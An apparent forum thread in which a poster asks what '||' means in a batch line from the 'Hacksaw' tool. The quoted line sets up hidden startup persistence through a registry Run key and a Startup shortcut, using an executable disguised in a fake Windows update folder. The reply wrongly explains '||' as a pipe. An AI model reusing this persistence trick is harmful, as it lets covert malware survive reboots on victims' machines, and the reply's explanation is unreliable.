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Hacksaw batch file question


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Hacksaw batch file n00b question:

in this line,

reg.exe add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v USBMedia /t REG_SZ /d "%systemroot%$NtUninstallKB931337$sbs.exe" /f || "%appdata%sbsshortcut.exe" /f:"%USERPROFILE%Start MenuProgramsStartup .lnk" /A:C /T:"%appdata%sbssbs.exe" /W:"%appdata%sbs" /I:"%appdata%sbsblank.ico"

I understand what everything here does except one small part.

what exectly does "||" do?

Much appreciated.

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Yes, | sends the output of the left-side commando to the right-size commando. A very common use of it is

cat largefile.txt | more

, which displays the file in "screens", using the utility more.exe.

Another way to say it: (taken from http://www.infionline.net/~wtnewton/batch/batguide.html)

Redirection and Pipes

Normally, input is taken from the keyboard and output goes to the console. Redirection allows input and output to refer to a file or device instead. Pipes allow the output of one program to be used as input to another program. These symbols only work with programs that read from "standard input" and write to "standard output" but fortunately this includes most DOS commands.

    * The < symbol causes file to be fed to the program as input.

    * The > symbol causes the program's output to be sent to the following file or device.

    * The >> symbol causes the program's output to be appended to the file or device.

    * The | symbol (the pipe) causes the output of the preceding program to be sent to the following program.

The following example shows how to use redirection with the FIND command...

    @echo off

    find %1<%2>nul

    if not errorlevel 1 echo %2 contains %1

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